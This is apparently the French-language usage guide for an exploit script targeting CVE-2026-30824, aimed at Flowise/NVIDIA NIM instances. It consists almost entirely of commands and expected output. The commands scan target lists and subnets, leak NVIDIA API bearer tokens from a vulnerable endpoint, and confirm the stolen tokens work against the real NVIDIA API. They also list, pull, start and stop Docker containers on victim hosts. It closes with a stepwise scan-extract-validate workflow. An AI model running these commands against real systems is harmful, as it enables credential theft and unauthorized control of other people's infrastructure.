# Clonez ou téléchargez le script
git clone <repository>
cd cve-2026-30824

# Installez les dépendances
pip install -r requirements.txt
# ou
pip install requests

# Vérifiez si une seule cible est vulnérable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check

# Sortie attendue (VULNÉRABLE) :
# [+] La cible semble VULNÉRABLE (HTTP 200)
#     Réponse : {...}

# Créez targets.txt avec une URL par ligne
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF

# Analysez toutes les cibles (mode rapide, sans invites)
python3 CVE-2026-30824.py -f targets.txt --scan-only

# Résumé attendu :
# ============================================================
# [*] Résumé de l'analyse
# ============================================================
# [+] VULNÉRABLE : 2
#     ✓ http://192.168.1.100:3000
#     ✓ http://192.168.1.101:3000
# [-] CORRIGÉ : 1
#     ✗ http://192.168.1.102:3000

# Fuite du jeton API NVIDIA depuis le point de terminaison vulnérable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# Sortie attendue :
# [*] Tentative de fuite du jeton API NVIDIA...
# [+] Jeton API NVIDIA : eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Type de jeton : Bearer
# [+] Expire dans : 3600s

# Vérifiez qu'un jeton fuité fonctionne avec la véritable API NVIDIA
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."

# Sortie attendue :
# [*] Validation du jeton auprès de l'API NVIDIA...
# [+] Jeton VALIDE ! Accès à 45 modèles NVIDIA NIM.
#     - mistralai/mistral-7b-instruct-v0.1
#     - meta-llama/llama2-70b
#     - (...)

# Énumérez les conteneurs sur la cible
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers

# Sortie attendue :
# [*] Liste des conteneurs en cours d'exécution...
# [+] HTTP 200
# [
#   {
#     "id": "abc123xyz",
#     "names": ["flowise_nim"],
#     "image": "nvcr.io/nvidia/nim:latest",
#     "state": "running"
#   }
# ]

# Exécutez toutes les vérifications de reconnaissance sur la cible vulnérable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
                             [--scan-only] [--get-token]
                             [--validate-token TOKEN] [--list-containers]
                             [--get-container CONTAINER_ID]
                             [--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
                             [--start-container IMAGE_TAG]
                             [--container-name CONTAINER_NAME]
                             [--stop-container CONTAINER_ID] [--preload]
                             [--all] [--timeout TIMEOUT] [--debug]

Arguments facultatifs :
  -h, --help                    Affiche ce message d'aide et quitte
  -t, --target TARGET           URL cible (par ex., http://192.168.1.100:3000)
  -f, --targets-file FILE       Fichier contenant la liste des cibles (une par ligne)
  
Détection de vulnérabilité :
  --check                       Vérifie uniquement si la cible est vulnérable
  --scan-only                   Analyse les cibles pour détecter la vulnérabilité sans invites
  --debug                       Affiche les détails des requêtes et les réponses brutes
  
Exploitation :
  --get-token                   Fuit le jeton API NVIDIA
  --validate-token TOKEN        Valide le jeton fuité auprès de l'API NVIDIA
  --list-containers             Liste les conteneurs NIM en cours d'exécution
  --get-container CONTAINER_ID  Obtient les détails du conteneur
  --get-image IMAGE_ID          Obtient les détails de l'image
  --pull-image IMAGE_TAG        Télécharge une image Docker (par ex., nvcr.io/nvidia/nim:latest)
  --start-container IMAGE_TAG   Démarre un conteneur à partir d'une balise d'image
  --container-name NAME         Nom du conteneur démarré
  --stop-container CONTAINER_ID Arrête un conteneur en cours d'exécution
  --preload                     Déclenche le point de terminaison de préchargement des ressources
  --all                         Exécute toutes les vérifications de reconnaissance
  
Avancé :
  --timeout SECONDS             Délai d'expiration des requêtes en secondes (défaut : 15)

# 1. Analysez tout le sous-réseau pour trouver des instances vulnérables
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only

# 2. Pour chaque cible vulnérable, extrayez le jeton
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# 3. Validez l'impact du jeton
python3 CVE-2026-30824.py --validate-token "<jeton-extrait>"

# Vérifiez la vulnérabilité et démontrez le rayon d'impact complet
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

# Cela va :
# 1. Vérifier la vulnérabilité
# 2. Extraire le jeton API NVIDIA
# 3. Valider le jeton auprès de l'API NVIDIA
# 4. Lister les conteneurs en cours d'exécution
# 5. Afficher l'énumération des ressources

# Surveillez une cible périodiquement (via cron ou un planificateur)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log

# Testez la connectivité
curl -v http://192.168.1.100:3000/

# Augmentez le délai d'expiration
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30

# Ajoutez explicitement le port et le protocole
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check